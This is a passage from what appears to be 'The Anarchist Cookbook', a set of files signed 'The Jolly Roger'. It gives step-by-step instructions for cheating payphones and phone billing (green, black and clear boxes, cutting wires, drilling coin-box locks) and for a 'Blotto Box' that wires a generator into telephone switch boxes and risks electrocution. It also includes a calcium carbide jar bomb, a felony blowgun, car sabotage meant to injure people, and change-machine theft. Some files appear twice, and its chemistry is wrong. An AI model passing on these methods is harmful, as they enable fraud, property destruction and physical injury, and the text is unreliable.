  2941. INFORMATION).  ONCE ACTIVATED IT WILL REQUEST THAT YOU DEPOSIT VARIOUS COINS.
  2942. IT WILL THEN IDENTIFY THE COIN AND OUTPULSE THE APPROPRIATE RED BOX
  2943. SIGNAL.  THE COINS ARE USUALLY RETURNED WHEN YOU HANG UP.
  2944. TO MAKE SURE THAT THERE IS ACTUALLY MONEY IN THE FONE, THE CO INITIATES A
  2945. "GROUND TEST" AT VARIOUS TIMES TO DETERMINE IF A COIN IS ACTUALLY IN THE
  2946. FONE.  THIS IS WHY YOU MUST DEPOSIT AT LEAST A NICKEL IN ORDER TO USE A RED
  2947. BOX!
  2948.  
  2949. GREEN BOXES:
  2950. ------------
  2951.  
  2952. PAYING THE INITIAL RATE IN ORDER TO USE A RED BOX (ON CERTAIN FORTRESSES)
  2953. LEFT A SOUR TASTE IN MANY RED BOXER'S MOUTHS THUS THE GREEN BOX WAS INVENTED.
  2954. THE GREEN BOX GENERATES USEFUL TONES SUCH AS COIN COLLECT, COIN RETURN, AND
  2955. RINGBACK.  THESE ARE THE TONES THAT ACTS OR THE TSPS OPERATOR WOULD SEND TO
  2956. THE CO WHEN APPROPRIATE. UNFORTUNATELY, THE GREEN BOX CANNOT BE USED AT A
  2957. FORTRESS STATION BUT IT MUST BE USED BY THE CALLED PARTY.
  2958.  
  2959. HERE ARE THE TONES:
  2960.      COIN COLLECT       700 + 1100 HZ
  2961.      COIN RETURN       1100 + 1700 HZ
  2962.      RINGBACK           700 + 1700 HZ
  2963. BEFORE THE CALLED PARTY SENDS ANY OF THESE TONES, AN OPERATOR RELEASED
  2964. SIGNAL SHOULD BE SENT TO ALERT THE MF DETECTORS AT THE CO.  THIS CAN BE
  2965. ACCOMPLISHED BY SENDING 900 + 1500 HZ OR A SINGLE 2600 HZ WINK (90 MS)
  2966. FOLLOWED BY A 60 MS GAP AND THEN THE APPROPRIATE SIGNAL FOR AT LEAST 900 MS.
  2967. ALSO, DO NOT FORGET THAT THE INITIAL RATE IS COLLECTED SHORTLY BEFORE THE 3
  2968. MINUTE PERIOD IS UP. INCIDENTALLY, ONCE THE ABOVE MF TONES
  2969. FOR COLLECTING AND RETURNING COINS REACH THE CO, THEY ARE CONVERTED INTO
  2970. AN APPROPRIATE DC PULSE (-130 VOLTS FOR RETURN & +130 VOLTS FOR COLLECT). THIS
  2971. PULSE IS THEN SENT DOWN THE TIP TO THE FORTRESS.  THIS CAUSES THE COIN RELAY
  2972. TO EITHER RETURN OR COLLECT THE COINS. THE ALLEGED "T-NETWORK" TAKES ADVANTAGE
  2973. OF THIS INFORMATION.  WHEN A PULSE FOR COIN COLLECT (+130 VDC) IS SENT DOWN
  2974. THE LINE, IT MUST BE GROUNDED SOMEWHERE.  THIS IS USUALLY EITHER THE
  2975. YELLOW OR BLACK WIRE.  THUS, IF THE WIRES ARE EXPOSED, THESE WIRES CAN BE
  2976. CUT TO PREVENT THE PULSE FROM BEING GROUNDED.  WHEN THE THREE MINUTE
  2977. INITIAL PERIOD IS ALMOST UP, MAKE SURE THAT THE BLACK & YELLOW WIRES ARE
  2978. SEVERED; THEN HANG UP, WAIT ABOUT 15 SECONDS IN CASE OF A SECOND PULSE,
  2979. RECONNECT THE WIRES, PICK UP THE FONE, HANG UP AGAIN, AND IF ALL GOES WELL IT
  2980. SHOULD BE "JACKPOT" TIME.
  2981.  
  2982. PHYSICAL ATTACK:
  2983. ----------------
  2984.  
  2985. A TYPICAL FORTRESS WEIGHS ROUGHLY 50 LBS. WITH AN EMPTY COIN BOX.  MOST OF
  2986. THIS IS ACCOUNTED FOR IN THE ARMOR PLATING.  WHY ALL THE SECURITY?  WELL,
  2987. BELL CONTRIBUTES IT TO THE FOLLOWING: "SOCIAL CHANGES DURING THE 1960'S
  2988. MADE THE MULTISLOT COIN STATION A PRIME TARGET FOR:  VANDALISM, STRONG ARM
  2989. ROBBERY, FRAUD, AND THEFT OF SERVICE. THIS BROUGHT ABOUT THE INTRODUCTION OF
  2990. THE MORE RUGGED SINGLE SLOT COIN  STATION AND A NEW ENVIRONMENT FOR COIN
  2991. SERVICE." AS FOR PICKING THE LOCK, I WILL QUOTE MR. PHELPS:
  2992. "WE OFTEN FANTASIZE ABOUT 'PICKING THE LOCK' OR 'GETTING A MASTER
  2993. KEY.'  WELL, YOU CAN FORGET ABOUT IT. I DON'T LIKE TO DISCOURAGE PEOPLE, BUT
  2994. IT WILL SAVE YOU FROM WASTING ALOT OF OUR TIME--TIME WHICH CAN BE PUT TO
  2995. BETTER USE (HEH, HEH)." AS FOR PHYSICAL ATTACK, THE COIN PLATE
  2996. IS SECURED ON ALL FOUR SIDE BY HARDENED STEEL BOLTS WHICH PASS THROUGH TWO
  2997. SLOTS EACH.  THESE BOLTS ARE IN TURN INTERLOCKED BY THE MAIN LOCK.
  2998. ONE PHREAK I KNOW DID MANAGE TO TAKE ONE OF THE 'MOTHERS' HOME (WHICH WAS
  2999. ATTACHED TO A PIECE OF PLYWOOD AT A CONSTRUCTION SITE; OTHERWISE, THE
  3000. PERMANENT ONES ARE A BITCH TO DETACH FROM THE WALL!).  IT TOOK HIM ALMOST
  3001. TEN HOURS TO OPEN THE COIN BOX USING A POWER DRILL, SLEDGE HAMMERS, AND CROW
  3002. BARS (WHICH WAS EMPTY -- PERHAPS NEXT TIME, HE WILL DEPOSIT A COIN FIRST TO
  3003. HEAR IF IT SLUSHES DOWN NICELY OR HITS THE EMPTY BOTTOM WITH A CLUNK.)
  3004. TAKING THE FONE OFFERS A HIGHER MARGIN OF SUCCESS.  ALTHOUGH THIS MAY BE
  3005. DIFFICULT OFTEN REQUIRING BRUTE FORCE AND THERE HAS BEEN SEVERAL CASES OF
  3006. BACK AXLES BEING LOST TRYING TO TAKE DOWN A FONE!  A QUICK AND DIRTY WAY TO
  3007. OPEN THE COIN BOX IS BY USING A SHOTGUN.  IN DETROIT, AFTER ECOLOGISTS
  3008. CLEANED OUT A MUNICIPAL POND, THEY FOUND 168 COIN PHONE RIFLED.
  3009. IN COLDER AREAS, SUCH AS CANADA, SOME SHREWD PEOPLE TAPE UP THE FONES USING
  3010. DUCT TAPE, POUR IN WATER, AND COME BACK THE NEXT DAY WHEN THE WATER WILL HAVE
  3011. FROZE THUS EXPANDING AND CRACKING THE FONE OPEN.
  3012. IN ONE CASE, "UNAUTHORIZED COIN COLLECTORS" WHERE CAUGHT WHEN THEY
  3013. BROUGHT $6,000 IN CHANGE TO A BANK AND THE BANK BECAME SUSPICIOUS...
  3014. AT ANY RATE, THE MAIN LOCK IS AN EIGHT LEVEL TUMBLER LOCATED ON THE RIGHT SIDE
  3015. OF THE COIN BOX.  THIS LOCK HAS 390,625 POSSIBLE POSITIONS (5 ^ 8, SINCE THERE
  3016. ARE 8 TUMBLERS EACH WITH 5 POSSIBLE POSITIONS) THUS IT IS HIGHLY PICK
  3017. RESISTANT!  THE LOCK IS HELD IN PLACE BY 4 SCREWS.  IF THERE IS SUFFICIENT
  3018. CLEARANCE TO THE RIGHT OF THE FONE, IT IS CONCEIVABLE TO PUNCH OUT THE SCREWS
  3019. USING THE DRILLING PATTERN BELOW (PROVIDED BY ALEXANDER MUNDY IN TAP #32):
  3020.  
  3021. ====================================
  3022.                        !!        ^
  3023.                        !!        !
  3024.            ! 1- 3/16 " !!        !
  3025.            !<---   --->!!      1-1/2"
  3026.        --------------------      !
  3027.        !   !           !! !      !
  3028.        !  (+)         (+)-! -----------
  3029.     ---!               !! !      ^
  3030.     !  !               !! ! !
  3031.     !  !        (Z)    !! !      !
  3032.     !  !               !! !   2-3/16"
  3033.     ---!               !! !      !
  3034.        !  (+)         (+) !      !
  3035.        !               !! !      !
  3036.        -------------------- -----------
  3037.                        !!
  3038.                        !!
  3039.         (Z) KEYHOLE   (+) SCREWS
  3040.                        !!
  3041. ===================================
  3042.  
  3043. AFTER THIS IS ACCOMPLISHED, THE LOCK CAN BE PUSHED BACKWARDS DISENGAGING
  3044. THE LOCK FROM THE COVER PLATE.  THE FOUR BOLTS OF THE COVER PLATE CAN THEN
  3045. BE RETRACTED BY TURNING THE BOLTWORKS WITH A SIMPLE KEY IN THE SHAPE OF THE
  3046. HOLE ON THE COIN PLATE (SEE DIAGRAM BELOW).  OF COURSE, THERE ARE OTHER
  3047. METHODS AND DRILLING PATTERNS.
  3048.  
  3049. :-------------------------------------:
  3050.                    _
  3051.                   ! !
  3052.                   ( )
  3053.                   !_!
  3054.                [ROUGHLY]
  3055.     DIAGRAM OF COVER PLATE KEYHOLE
  3056. :-------------------------------------:
  3057.  
  3058. THE TOP COVER USES A SIMILAR (BUT NOT AS STRONG) LOCKING METHOD WITH THE
  3059. KEYHOLE DEPICTED ABOVE ON THE TOP LEFT HIDE AND A REGULAR LOCK (PROBABLY
  3060. TUMBLER ALSO) ON THE TOP RIGHT-HAND SIDE. IT IS INTERESTING TO EXPERIMENT
  3061. WITH THE COIN SHUTE AND THE FORTRESSES OWN "RED BOX" (WHICH BELL DIDN'T HAVE
  3062. THE 'BALLS' TO COLOR RED).
  3063.  
  3064. MISCELLANEOUS:
  3065. --------------
  3066.  
  3067. IN A FEW AREAS (RURAL & CANADA), POST-PAY SERVICE EXISTS.  WITH THIS TYPE OF
  3068. SERVICE, THE MOUTHPIECE IS CUT OFF UNTIL THE CALLER DEPOSITS MONEY WHEN
  3069. THE CALLED PARTY ANSWERS.  THIS ALSO ALLOWS FOR FREE CALLS TO WEATHER AND
  3070. OTHER DIAL-IT SERVICES!  RECENTLY, 2600 MAGAZINE ANNOUNCED THE CLEAR BOX WHICH
  3071. CONSISTS OF A TELEPHONE PICKUP COIL AND A SMALL AMP.  IT IS BASED ON THE¢
  3072. RINCIPAL THAT THE RECEIVER IS ALSO A WEAK TRANSMITTER AND THAT BY AMPLIFYING
  3073. YOUR SIGNAL YOU CAN TALK VIA THE TRANSMITTER THUS AVOIDING COSTLY
  3074. TELEPHONE CHARGES! MOST FORTRESSES ARE FOUND IN THE 9XXX
  3075. AREA.  UNDER FORMER BELL AREAS, THEY USUALLY START AT 98XX (RIGHT BELOW THE
  3076. 99XX OFFICIAL SERIES) AND MOVE DOWNWARD.
  3077. SINCE THE LINE, NOT THE FONE, DETERMINES WHETHER OR NOT A DEPOSIT
  3078. MUST BE MADE, DTF & CHARGE-A-CALL FONES MAKE GREAT EXTENSIONS!
  3079. FINALLY, FORTRESS FONES ALLOW FOR A NEW HOBBY--INSTRUCTION PLATE COLLECTING.
  3080. ALL THAT IS REQUIRED IS A FLAT-HEAD SCREWDRIVER AND A PAIR OF NEEDLE-NOSE
  3081. PLIERS.  SIMPLY USE THE SCREWDRIVER TO LIFT UNDERNEATH THE PLATE SO THAT YOU
  3082. CAN GRAB IT WITH THE PLIERS AND YANK DOWNWARDS. I WOULD SUGGEST COVERING THE
  3083. TIPS OF THE PLIERS WITH ELECTRICAL TAPE TO PREVENT SCRATCHING.  TEN CENT PLATES
  3084. ARE DEFINITELY BECOMING A "RARITY!"
  3085.  
  3086. FORTRESS SECURITY:
  3087. ------------------
  3088.  
  3089. WHILE A LONELY FORTRESS MAY SEEM THE PERFECT TARGET, BEWARE!  THE GESTAPO
  3090. HAS BEEN KNOWN TO STAKE OUT FORTRESSES FOR AS LONG AS 6 YEARS ACCORDING TO THE
  3091. GRASS ROOTS QUARTERLY.  TO AVOID ANY PROBLEMS, DO NOT USE THE SAME FONES
  3092. REPEATEDLY FOR BOXING, CALLING CARDS, & OTHER EXPERIMENTS.  THE TELCO KNOWS HOW
  3093. MUCH MONEY SHOULD BE IN THE COIN BOX AND WHEN ITS NOT THERE THEY TEND TO GET
  3094. PERTURBED (READ:  PISSED OFF).
  3095.  
  3096. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
  3097.  
  3098.                                           --------Jolly Roger
  3099.  
  3100. p.s. This was originally written back in my old Apple ][ days, 
  3101. hence the upper case. I just did not think I should waste the 
  3102. little time I have to work on this shit converting it to lower-
  3103. case. Hell, I thought 80-columns was pretty nice of me.. heh heh. 
  3104. Well, enjoy this and the rest of this Cookbook! ---------JR
  3105.  
  3106.  
  3107. Black Box Plans                                 by The Jolly Roger
  3108.  
  3109. Introduction:
  3110. ------------
  3111. At any given time, the voltage running through your phone is about 20
  3112. Volts. When someone calls you, this voltage goes up to 48 Volts and rings
  3113. the bell. When you answer, the voltage goes down to about 10 Volts.
  3114. The phone company pays attention to this. When the voltage drops to 10,
  3115. they start billing the person who called you.
  3116.  
  3117. Function:
  3118. --------
  3119. The Black Box keeps the voltage going through your phone at 36 Volts,
  3120. so that it never reaches 10 Volts. The phone company is thus fooled
  3121. into thinking you never answered the phone and does not bill the caller.
  3122. However, after about a half hour the phone company will get suspicious
  3123. and disconnect your line for about 10 seconds.
  3124.  
  3125. Materials:
  3126. ---------
  3127. 1 1.8K 1/2 Watt Resistor
  3128. 1 1.5V LED
  3129. 1 SPST Switch
  3130.  
  3131. Procedure:
  3132. ---------
  3133. (1) Open your phone by loosening the two screws on the bottom and
  3134. lifting the case off.
  3135. (2) There should be three wires: Red, Green, and Yellow. We'll be working
  3136. with the Red Wire.
  3137. (3) Connect the following in parallel:
  3138.      A. The Resistor and LED.
  3139.      B. The SPST Switch.
  3140. In other words, you should end up with this:
  3141.               (Red Wire)
  3142.            !---/\/\/\--O--!
  3143. (Line)-----!              !-----(Phone)
  3144.            !-----_/_------!
  3145.           /\/\/\ = Resistor
  3146.           O      = LED
  3147.           _/_    = SPST
  3148.  
  3149. Use:
  3150. ---
  3151. The SPST Switch is the On/Off Switch of the Black Box. When the box is off,
  3152. your phone behaves normally. When the box is on and your phone rings,
  3153. the LED flashes. When you answer, the LED stays on and the voltage
  3154. is kept at 36V, so the calling party doesn't get charged. When the box
  3155. is on, you will not get a dial tone and thus cannot make calls.
  3156. Also remember that calls are limited to half an hour.
  3157.  
  3158.                                       ------------Jolly Roger
  3159.  
  3160. p.s. Due to new Fone Company switching systems & the like, this 
  3161. may or may not work in your area. If you live in bumfuck Kentucky, 
  3162. then try this out. I make no guarantees! (I never do...) ----JR
  3163.  
  3164. The Infamous Blotto Box!!                       by The Jolly Roger
  3165.       
  3166.         (I bet that NOONE has the balls to build this one!)
  3167.  
  3168. Finally, it is here! What was first conceived as a joke to fool the innocent
  3169. phreakers around America has finally been conceived!
  3170. Well, for you people who are unenlightened about the Blotto Box,
  3171. here is a brief summery of a legend.
  3172.  
  3173. --*-=> The Blotto Box <=-*--
  3174.  
  3175. For years now every pirate has dreamed of the Blotto Box. It was at first
  3176. made as a joke to mock more ignorant people into thinking that
  3177. the function of it actually was possible. Well, if you are The Voltage
  3178. Master, it is possible. Originally conceived by King Blotto of much fame,
  3179. the Blotto Box is finally available to the public.
  3180. NOTE: Jolly Roger can not be responsible for the information disclosed
  3181. in the file! This file is strictly for informational purposes and
  3182. should not be actually built and used! Usage of this electronical impulse
  3183. machine could have the severe results listed below and could result in
  3184. high federal prosecution! Again, I TAKE NO RESPONSIBILITY!
  3185. All right, now that that is cleared up, here is the basis of the box
  3186. and it's function.
  3187. The Blotto Box is every phreaks dream... you could hold AT&T down on its
  3188. knee's with this device. Because, quite simply, it can turn off the phone
  3189. lines everywhere. Nothing. Blotto. No calls will be allowed out of an area
  3190. code, and no calls will be allowed in. No calls can be made inside it for
  3191. that matter. As long as the switching system stays the same, this box will
  3192. not stop at a mere area code. It will stop at nothing. The electrical
  3193. impulses that emit from this box will open every line. Every line will
  3194. ring and ring and ring... the voltage will never be cut off until the
  3195. box/generator is stopped. This is no 200 volt job, here.
  3196. We are talking GENERATOR. Every phone line will continue to ring, and people
  3197. close to the box may be electricuted if they pick up the phone.
  3198. But, the Blotto Box can be stopped by merely cutting of the line or generator.
  3199. If they are cut off then nothing will emit any longer. It will take
  3200. a while for the box to calm back down again, but that is merely a
  3201. superficial aftereffect. Once again: Construction and use of this box is
  3202. not advised! The Blotto Box will continue as long as there is
  3203. electricity to continue with.
  3204. OK, that is what it does, now, here are some interesting things for you
  3205. to do with it...
  3206.  
  3207. -*-=>Blotto Functions/Installin'<=-*-
  3208.  
  3209. Once you have installed your Blotto, there is no turning back. The
  3210. following are the instructions for construction and use of this box.
  3211. Please read and heed all warnings in the above section before you attempt
  3212. to construct this box.
  3213.  
  3214. Materials:
  3215.   - A Honda portable generator or a main power outlet like in a 
  3216.     stadium or some such place.
  3217.   - 400 volt rated coupler that splices a female plug into a
  3218.     phone line jack.
  3219.   - A meter of voltage to attach to the box itself.
  3220.   - A green base (i.e. one of the nice boxes about 3' by 4' that
  3221.     you see around in your neighborhood. They are the main switch
  3222.     boards and would be a more effective line to start with.
  3223.     or: A regular phone jack (not your own, and not in your area
  3224.     code!
  3225.   - A soldering iron and much solder.
  3226.   - A remote control or long wooden pole.
  3227. Now. You must have guessed the construction from that. If not, here goes,
  3228. I will explain in detail. Take the Honda Portable Generator and all of
  3229. the other listed equiptment and go out and hunt for a green base. Make
  3230. sure it is one on the ground or hanging at head level from a pole,
  3231. not the huge ones at the top of telephone poles. Open it up with anything
  3232. convienent, if you are two feeble that fuck don't try this.
  3233. Take a look inside... you are hunting for color-coordinating lines of
  3234. green and red. Now, take out your radio shack cord and rip the meter thing
  3235. off. Replace it with the voltage meter about. A good level to set the
  3236. voltage to is about 1000 volts. Now, attach the voltage meter to the cord
  3237. and set the limit for one thousand. Plug the other end of the cord
  3238. into the generator. Take the phone jack and splice the jack part off.
  3239. Open it up and match the red and green wires with
  3240. the other red and green wires. NOTE: If you just had the generator on
  3241. and have done this in the correct order, you will be a crispy critter.
  3242. Keep the generator off until you plan to start it up. Now, solder those
  3243. lines together carefully. Wrap duck tape or insultation tape around all
  3244. of the wires. Now, place the remote control right on to the startup
  3245. of the generator. If you have the long pole, make sure it is very long
  3246. and stand back as far away as you can get and reach the pole over.
  3247. NOTICE: If you are going right along with this without reading the file
  3248. first, you still realize now that your area code is about to become
  3249. null! Then, getting back, twitch the pole/remote control and run for your
  3250. damn life. Anywhere, just get away from it. It will be generating
  3251. so much electricity that if you stand to close you will kill yourself.
  3252. The generator will smoke, etc. but will not stop. You are now killing your
  3253. area code, because all of that energy is spreading through all of the
  3254. phone lines around you in every direction.
  3255.  
  3256. Have a nice day!
  3257.  
  3258. --*-=>The Blotto Box: Aftermath<=-*--
  3259. Well, that is the plans for the most devastating and ultimately deadly
  3260. box ever created. My hat goes off to: King Blotto (for the original idea).
  3261.  
  3262.                                           ---------Jolly Roger
  3263.  
  3264.  
  3265. Blowgun                                         by The Jolly Roger
  3266.  
  3267. In this article I shall attempt to explain the use and manufacture
  3268. of a powerfull blow-gun and making darts for the gun.The possesion of
  3269. the blow gun described in this article IS a felony.
  3270. So be carefull where you use it. I don't want to get you all busted.
  3271.  
  3272. Needed:
  3273.  
  3274. 1. Several strands of yarn (About 2 inches a-piece)
  3275. 2. A regular pencil
  3276. 3. A 2 1/4 inch long needle (hopefully with a beaded head. If not
  3277.    obtainable,wrap tape around end of needle.
  3278. 4. 2-3 1/4 foot pipe. (PVC or Aluminum) Half a inch in diameter
  3279.  
  3280. Constructing the dart:
  3281.  
  3282. 1st- Carefully twist and pull the metal part (Along with eraser)
  3283. of the pencil till it comes off.
  3284. 2nd- Take Pin and start putting about 5-7 Strands of yarn on the pin. Then
  3285. push them up to the top of the pin. But not over the head of the pin (orthe tape).
  3286. 3rd- Push pin through the hollow part of the head where the pencil was before.
  3287. 4th- That should for a nice looking dart. (see illustration)
  3288.  
  3289.      #####
  3290. >>>>>-----/    #  is the yarn     
  3291.                >  is the head of the pencil
  3292.                -  is the pin it-self
  3293.                /  is the head of the pin
  3294.  
  3295. Using the Darts:
  3296.   
  3297. 1st- Now take the finished dart and insert it in the tube
  3298. (if it is too small put on more yarn.)
  3299. 2nd- Aim the tube at a door, wall, sister, ect.
  3300. 3rd- blow on the end of the pipe.
  3301. 4th- Sometimes the end of the pipe may be sharp. When this happens I
  3302. suggest you wrap it with some black electrician tape.It should feel
  3303. a lot better.
  3304.                                 -------Jolly Roger
  3305.  
  3306. Brown Box Plans                                 by The Jolly Roger
  3307.  
  3308. This is a fairly simple mod that can be made to any phone. All it does 
  3309. is allow you to take any two lines in your house and create a party
  3310. line. So far I have not heard of anyone who has any problems
  3311. with it. There is one thing that you will notice when you are
  3312. one of the two people who is called by a person with a brown box. The other
  3313. person will sound a little bit faint. I could overcome this with some 
  3314. amplifiers but then there wouldn't be very many of these made [Why not?].
  3315. I think the convenience of having two people on the line at once will 
  3316. make up for any minor volume loss.
  3317.  
  3318. Here is the diagram:
  3319. ---------------------------------------
  3320. KEY:___________________________________
  3321.     |  PART               | SYMBOL    |
  3322.     |---------------------------------|
  3323.     | BLACK WIRE          |   *       |
  3324.     | YELLOW WIRE         |   =       |
  3325.     | RED WIRE            |   +       |
  3326.     | GREEN WIRE          |   -       |
  3327.     | SPDT SWITCH         |  _/_      |
  3328.     |                        _/_      |
  3329.     | VERTICAL WIRE       |   |       |
  3330.     | HORIZONTAL WIRE     |   _       |
  3331.     -----------------------------------
  3332.           *    =    -    +
  3333.           *    =    -    +
  3334.           *    =    -    +
  3335.           *    =    -    +
  3336.           *    =    -    +
  3337.           *    ==_/_-    +
  3338.           *******_/_++++++
  3339.           |              |
  3340.           |              |
  3341.           |              |
  3342.           |              |
  3343.           |              |
  3344.           |              |
  3345.           |_____PHONE____|
  3346.  
  3347.                                 ------------Jolly Roger
  3348.  
  3349. Calcium Carbide Bomb                            by The Jolly Roger
  3350.  
  3351. This is EXTREMELY DANGEROUS. Exercise extreme caution.... Obtain some
  3352. calcium carbide. This is the stuff that is used in carbide lamps and
  3353. can be found at nearly any hardware store. Take a few pieces of this
  3354. stuff (it looks like gravel) and put it in a glass jar with some
  3355. water. Put a lid on tightly. The carbide will react with the water to
  3356. produce acetylene carbonate which is similar to the gas used in
  3357. cutting torches. Eventually the glass with explode from internal
  3358. pressure. If you leave a burning rag nearby, you will get a nice
  3359. fireball!
  3360.                             -----------Jolly Roger
  3361.  
  3362. Calcium Carbide Bomb                            by The Jolly Roger
  3363.  
  3364. This is EXTREMELY DANGEROUS. Exercise extreme caution.... Obtain some
  3365. calcium carbide. This is the stuff that is used in carbide lamps and
  3366. can be found at nearly any hardware store. Take a few pieces of this
  3367. stuff (it looks like gravel) and put it in a glass jar with some
  3368. water. Put a lid on tightly. The carbide will react with the water to
  3369. produce acetylene carbonate which is similar to the gas used in
  3370. cutting torches. Eventually the glass with explode from internal
  3371. pressure. If you leave a burning rag nearby, you will get a nice
  3372. fireball!
  3373.                             -----------Jolly Roger
  3374.  
  3375. More Ways to Send a Car to Hell                 by The Jolly Roger
  3376.  
  3377. Due to a lot of compliments, I have written an update to file #14.
  3378. I have left the original intact. This expands upon the original 
  3379. idea, and could be well called a sequal. -----JR
  3380.  
  3381. How to have phun with someone else's car.  If you really detest
  3382. someone, and I mean detest, here's a few tips on what to do in your
  3383. spare time.  Move the windshield wiper blades, and insert and glue
  3384. tacks.  The tacks make lovely designs.  If your "friend" goes to
  3385. school with you, Just before he comes out of school.  Light a lighter
  3386. and then put it directly underneath his car door handle.
  3387. Wait...Leave...Listen.  When you hear a loud "shit!", you know he
  3388. made it to his car in time.  Remove his muffler and pour approximately
  3389. 1 Cup of gas in it. Put the muffler back, then wait till their car starts.
  3390. Then you have a cigarette lighter.  A 30 foot long cigarette lighter.
  3391. This one is effective, and any fool can do it.  Remove the top
  3392. air filter. That's it!  Or a oldie but goodie: sugar in the gas tank.
  3393. Stuff rags soaked in gas up the exhaust pipe.  Then you wonder why
  3394. your "friend" has trouble with his/her lungs.  Here's one that takes
  3395. time and many friends.  Take his/her car then break into their house
  3396. and reassemble it, in their living or bedroom.  Phun eh?  If you're
  3397. into engines, say eeni mine moe and point to something and remove it.
  3398. They wonder why something doesn't work. There are so many others, but
  3399. the real good juicy ones come by thinking hard.
  3400.  
  3401.                                     -----------Jolly Roger
  3402.  
  3403. More Ways to Send a Car to Hell                 by The Jolly Roger
  3404.  
  3405. Due to a lot of compliments, I have written an update to file #14.
  3406. I have left the original intact. This expands upon the original 
  3407. idea, and could be well called a sequal. -----JR
  3408.  
  3409. How to have phun with someone else's car.  If you really detest
  3410. someone, and I mean detest, here's a few tips on what to do in your
  3411. spare time.  Move the windshield wiper blades, and insert and glue
  3412. tacks.  The tacks make lovely designs.  If your "friend" goes to
  3413. school with you, Just before he comes out of school.  Light a lighter
  3414. and then put it directly underneath his car door handle.
  3415. Wait...Leave...Listen.  When you hear a loud "shit!", you know he
  3416. made it to his car in time.  Remove his muffler and pour approximately
  3417. 1 Cup of gas in it. Put the muffler back, then wait till their car starts.
  3418. Then you have a cigarette lighter.  A 30 foot long cigarette lighter.
  3419. This one is effective, and any fool can do it.  Remove the top
  3420. air filter. That's it!  Or a oldie but goodie: sugar in the gas tank.
  3421. Stuff rags soaked in gas up the exhaust pipe.  Then you wonder why
  3422. your "friend" has trouble with his/her lungs.  Here's one that takes
  3423. time and many friends.  Take his/her car then break into their house
  3424. and reassemble it, in their living or bedroom.  Phun eh?  If you're
  3425. into engines, say eeni mine moe and point to something and remove it.
  3426. They wonder why something doesn't work. There are so many others, but
  3427. the real good juicy ones come by thinking hard.
  3428.  
  3429.                                     -----------Jolly Roger
  3430.  
  3431. Ripping off Change Machines                     by the Jolly Roger
  3432.  
  3433. Have you ever seen one of those really big changer machines in airports
  3434. laundrymats or arcades that dispense change when you put in your 1 or 5
  3435. dollar bill?  Well then, here is an article for you.
  3436.  
  3437. 1)  Find the type of change machine that you slide in your bill length
  3438. wise, not the type where you put the bill in a tray and then slide the 
  3439. tray in!!!
  3440. 2)  After finding the right machine, get a $1 or $5 bill.  Start crumpling
  3441. up into a ball.  Then smooth out the bill, now it should have a very wrinkly
  3442. surface.
  3443. 3) Now the hard part.  You must tear a notch in the bill on the
  3444. left side about 1/2 inch below the little 1 dollar symbol (See Figure).
  3445. 4) If you have done all of this right then take the bill and go out the
  3446. machine.  Put the bill in the machine and wait.  What should happen is:
  3447. when you put your bill in the machine it thinks everything is fine. 
  3448. When it gets to the part of the bill with the notch cut out, the
  3449. machine will reject the bill and (if you have done it right)
  3450. give you the change at the same time!!! So, you end up getting your bill
  3451. back, plus the change!!  It might take a little practice, but once
  3452. you get the hang of it, you can get a lot of money!
  3453.                   !--------------------------------!              
  3454.                   !                                !
  3455.                   ! (1)         /-------\      (1) !
  3456.                   !             !       !          !
  3457.                   !             !  Pic. !          ! 
  3458.                   ! (1)  /\     \-------/      (1) !
  3459.                   !      !!                        !       
  3460.                   !-----/  \-----------------------!
  3461.                           \-------Make notch here. About 1/2 " down from (1)
  3462.  
  3463. P.S. Sorry for the "text work" but you should be able to get the 
  3464. idea. Have fun!!! -----------------------Jolly Roger
  3465.  
  3466.  
  3467. Clear Box Plans                                 by The Jolly Roger
  3468.  
  3469. The clear box is a new device which has just been invented that can be
  3470. used throughout Canada and rural United States. The clear box works on
  3471. "PostPay" payphones (fortress fones). Those are the payphones
  3472. that don't require payment until after the connection is established.
  3473. You pick up the fone, get a dial tone, dial your number, and then
  3474. insert your money after the person answers.
  3475. If you don't deposit the money then you can not speak to the person on
  3476. the other end because your mouth piece is cut off but not the ear-piece.
  3477. (obviously these phones are nice for free calls to weather or time or
  3478. other such recordings). All you must do is to go to your nearby Radio
  3479. Shack, or electronics store, and get a four-transistor amplifier and a
  3480. telephone suction cup induction pick-up. The induction pick-up would be
  3481. hooked up as it normally would to record a conversation, except
  3482. that it would be plugged into the output of the amplifier and a
  3483. microphone would be hooked to the input. So when the party
  3484. that is being called answers, the caller could speak through the little
  3485. microphone instead. His voice then goes through the amplifier and out
  3486. the induction coil, and into the back of the receiver where
  3487. it would then be broadcast through the phone lines and the other 
  3488. partywould be able to hear the caller. The Clear Box thus
  3489. 'clears up' the problem of not being heard. Luckily, the line will
  3490. not be cut-off after a certain amount of time because it will wait
  3491. forever for the coins to be put in.
  3492. The biggest advantage for all of us about this new clear box is the
  3493. fact that this type of payphone will most likely become very common.
  3494. Due to a few things: 1st, it is a cheap way of getting the DTF,
  3495. dial-tone-first service, 2nd, it doesn't require any special equipment,
  3496. (for the phone company) This payphone will work on any phone line.
  3497. Usually a payphone line is different, but this is a regular phone line
  3498. and it is set up so the phone does all the charging, not the company.
  3499.  
  3500.                               ------------Jolly Roger
  3501.  
  3502. CNA List                               Courtesy of The Jolly Roger
  3503.  
  3504. NPA  TEL NO          NPA  TEL NO
  3505. --------------------------------------
  3506. 201  201-676-7070    601  601-961-8139
  3507. 202  304-343-7016    602  303-293-8777
  3508. 203  203-789-6815    603  617-787-5300
  3509. 204  204-949-0900    604  604-432-2996
  3510. 205  205-988-7000    605  402-580-2255
  3511. 206  206-382-5124    606  502-583-2861
  3512. 207  617-787-5300    607  518-471-8111
  3513. 208  303-293-8777    608  608-252-6932
  3514. 209  415-543-2861    609  201-676-7070
  3515. 212  518-471-8111    612  402-580-2255
  3516. 213  415-781-5271    613  416-443-0542
  3517. 214  214-464-7400    614  614-464-0123
  3518. 215  412-633-5600    615  615-373-5791
  3519. 216  614-464-0123    616  313-223-8690
  3520. 217  217-525-5800    617  617-787-5300
  3521. 218  402-580-2255    618  217-525-5800
  3522. 219  317-265-4834    619  818-501-7251
  3523. 301  304-343-1401    701  402-580-2255
  3524. 302  412-633-5600    702  415-543-2861
  3525. 303  303-293-8777    703  304-344-7935
  3526. 304  304-344-8041    704  912-784-0440
  3527. 305  912-784-0440    705  416-979-3469
  3528. 306  306-347-2878    706  *** NONE ***
  3529. 307  303-293-8777    707  415-543-6374
  3530. 308  402-580-2255    709  *** NONE ***
  3531. 309  217-525-5800    712  402-580-2255
  3532. 312  312-796-9600    713  713-861-7194
  3533. 313  313-223-8690    714  818-501-7251
  3534. 314  314-721-6626    715  608-252-6932
